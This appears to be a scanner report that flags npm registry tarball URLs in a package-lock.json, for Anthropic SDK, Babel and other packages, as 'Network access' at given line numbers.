    "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64-musl": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz",
  • Network accessline 114
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz",       "integrity": "sha512-1qqaEdsAs6eipEQQ4bMAWiwDjIouyA/YN5KQWS0/+kuPb+G
  • Network accessline 115
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.316.tgz",
  • Network accessline 129
    "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz",
  • Network accessline 130
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz",       "integrity": "sha512-+csYyGkHziNp4It+ZykqTmXRZBuNrieTiBnji+zwAxNmLLCWz8xEWjNmwhaLP
  • Network accessline 131
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.316.tgz",
  • Network accessline 145
    "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64-musl": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz",
  • Network accessline 146
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz",       "integrity": "sha512-pMG9MRkjxMMbIxpwg/cKz6JorNjZtJOA9l/fifRQ/A01zGTKrRI
  • Network accessline 147
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.316.tgz",
  • Network accessline 161
    "node_modules/@anthropic-ai/claude-agent-sdk-win32-arm64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz",
  • Network accessline 162
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz",       "integrity": "sha512-Xj4iTS8NsB6isGhnZEnaIXIpUcSspv/lyIVnfPZjVGwuttaVHjq4IxfDo
  • Network accessline 163
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.316.tgz",
  • Network accessline 174
    "node_modules/@anthropic-ai/claude-agent-sdk-win32-x64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz",
  • Network accessline 175
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz",       "integrity": "sha512-FzQA1zHbYJTtLR9nn1McwkGYeiEmroTmYjIg7xZqo5eweJ8U/DESZKR/QdfF0
  • Network accessline 176
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.316.tgz",
  • Network accessline 187
    "node_modules/@anthropic-ai/sdk": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz",
  • Network accessline 188
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz",       "integrity": "sha512-k7z9BlLLPxfZH+ov7dS6EnaN/wiZeV8YNT1LZfrpAHIy7oY7pHr4UzirF9f2OlHtFEnRBOX+AZQ91Y5fK+TPTw==",
  • Network accessline 189
    "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-1.3.0.tgz",
  • Network accessline 211
    "node_modules/@asamuzakjp/css-color": {       "version": "3.2.0",       "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz",
  • Network accessline 212
    "version": "3.2.0",       "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz",       "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==",
  • Network accessline 213
    "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz",
  • Network accessline 225
    "node_modules/@asamuzakjp/css-color/node_modules/lru-cache": {       "version": "10.4.3",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
  • Network accessline 226
    "version": "10.4.3",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",       "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
  • Network accessline 227
    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
  • Network accessline 232
    "node_modules/@babel/code-frame": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
  • Network accessline 233
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",       "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
  • Network accessline 234
    "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
  • Network accessline 247
    "node_modules/@babel/compat-data": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
  • Network accessline 248
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",       "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
  • Network accessline 249
    "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
  • Network accessline 257
    "node_modules/@babel/core": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
  • Network accessline 258
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",       "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
  • Network accessline 259
    "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
  • Network accessline 283
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/babel"
  • Network accessline 284
    "type": "opencollective",         "url": "https://opencollective.com/babel"       }
  • Network accessline 285
    "url": "https://opencollective.com/babel"
  • Network accessline 288
    "node_modules/@babel/core/node_modules/semver": {       "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 289
    "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
  • Network accessline 290
    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 298
    "node_modules/@babel/generator": {       "version": "7.29.1",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
  • Network accessline 299
    "version": "7.29.1",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",       "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
  • Network accessline 300
    "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
  • Network accessline 315
    "node_modules/@babel/helper-compilation-targets": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
  • Network accessline 316
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",       "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhu
  • Network accessline 317
    "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
  • Network accessline 332
    "node_modules/@babel/helper-compilation-targets/node_modules/semver": {       "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 333
    "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
  • Network accessline 334
    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 342
    "node_modules/@babel/helper-globals": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 343
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",       "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
  • Network accessline 344
    "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 352
    "node_modules/@babel/helper-module-imports": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
  • Network accessline 353
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",       "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2d
  • Network accessline 354
    "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
  • Network accessline 366
    "node_modules/@babel/helper-module-transforms": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
  • Network accessline 367
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",       "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWW
  • Network accessline 368
    "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
  • Network accessline 384
    "node_modules/@babel/helper-plugin-utils": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",
  • Network accessline 385
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",       "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/D
  • Network accessline 386
    "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",
  • Network accessline 394
    "node_modules/@babel/helper-string-parser": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 395
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",       "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW
  • Network accessline 396
    "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 404
    "node_modules/@babel/helper-validator-identifier": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 405
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",       "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL
  • Network accessline 406
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 414
    "node_modules/@babel/helper-validator-option": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 415
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",       "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M
  • Network accessline 416
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 424
    "node_modules/@babel/helpers": {       "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",
  • Network accessline 425
    "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",       "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==",
  • Network accessline 426
    "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",
  • Network accessline 438
    "node_modules/@babel/parser": {       "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",
  • Network accessline 439
    "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",       "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==",
  • Network accessline 440
    "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",
  • Network accessline 454
    "node_modules/@babel/plugin-syntax-async-generators": {       "version": "7.8.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
  • Network accessline 455
    "version": "7.8.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",       "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7T
  • Network accessline 456
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
  • Network accessline 467
    "node_modules/@babel/plugin-syntax-bigint": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
  • Network accessline 468
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",       "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3N
  • Network accessline 469
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
  • Network accessline 480
    "node_modules/@babel/plugin-syntax-class-properties": {       "version": "7.12.13",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
  • Network accessline 481
    "version": "7.12.13",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",       "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dX
  • Network accessline 482
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
  • Network accessline 493
    "node_modules/@babel/plugin-syntax-class-static-block": {       "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
  • Network accessline 494
    "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",       "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iu
  • Network accessline 495
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
  • Network accessline 509
    "node_modules/@babel/plugin-syntax-import-attributes": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz",
  • Network accessline 510
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz",       "integrity": "sha512-jiLC0ma9XkQT3TKJ9uYvlakm66Pamywo+qwL+oL8HJOvc6TWdZXVfhqJr8CC
  • Network accessline 511
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz",
  • Network accessline 525
    "node_modules/@babel/plugin-syntax-import-meta": {       "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
  • Network accessline 526
    "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",       "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+v
  • Network accessline 527
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
  • Network accessline 538
    "node_modules/@babel/plugin-syntax-json-strings": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
  • Network accessline 539
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",       "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQ
  • Network accessline 540
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
  • Network accessline 551
    "node_modules/@babel/plugin-syntax-jsx": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz",
  • Network accessline 552
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz",       "integrity": "sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==
  • Network accessline 553
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz",
  • Network accessline 567
    "node_modules/@babel/plugin-syntax-logical-assignment-operators": {       "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10
  • Network accessline 568
    "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",       "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2b
  • Network accessline 569
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
  • Network accessline 580
    "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tg
  • Network accessline 581
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",       "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwp
  • Network accessline 582
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
  • Network accessline 593
    "node_modules/@babel/plugin-syntax-numeric-separator": {       "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
  • Network accessline 594
    "version": "7.10.4",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",       "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9A
  • Network accessline 595
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
  • Network accessline 606
    "node_modules/@babel/plugin-syntax-object-rest-spread": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
  • Network accessline 607
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",       "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm
  • Network accessline 608
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
  • Network accessline 619
    "node_modules/@babel/plugin-syntax-optional-catch-binding": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
  • Network accessline 620
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",       "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZl
  • Network accessline 621
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
  • Network accessline 632
    "node_modules/@babel/plugin-syntax-optional-chaining": {       "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
  • Network accessline 633
    "version": "7.8.3",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",       "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPr
  • Network accessline 634
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
  • Network accessline 645
    "node_modules/@babel/plugin-syntax-private-property-in-object": {       "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz
  • Network accessline 646
    "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",       "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnv
  • Network accessline 647
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
  • Network accessline 661
    "node_modules/@babel/plugin-syntax-top-level-await": {       "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
  • Network accessline 662
    "version": "7.14.5",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",       "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OF
  • Network accessline 663
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
  • Network accessline 677
    "node_modules/@babel/plugin-syntax-typescript": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz",
  • Network accessline 678
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz",       "integrity": "sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc
  • Network accessline 679
    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz",
  • Network accessline 693
    "node_modules/@babel/runtime": {       "version": "7.29.7",       "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz",
  • Network accessline 694
    "version": "7.29.7",       "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz",       "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==",
  • Network accessline 695
    "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz",
  • Network accessline 704
    "node_modules/@babel/template": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
  • Network accessline 705
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",       "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
  • Network accessline 706
    "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
  • Network accessline 719
    "node_modules/@babel/traverse": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
  • Network accessline 720
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",       "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
  • Network accessline 721
    "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
  • Network accessline 738
    "node_modules/@babel/types": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
  • Network accessline 739
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",       "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
  • Network accessline 740
    "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
  • Network accessline 752
    "node_modules/@bcoe/v8-coverage": {       "version": "0.2.3",       "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
  • Network accessline 753
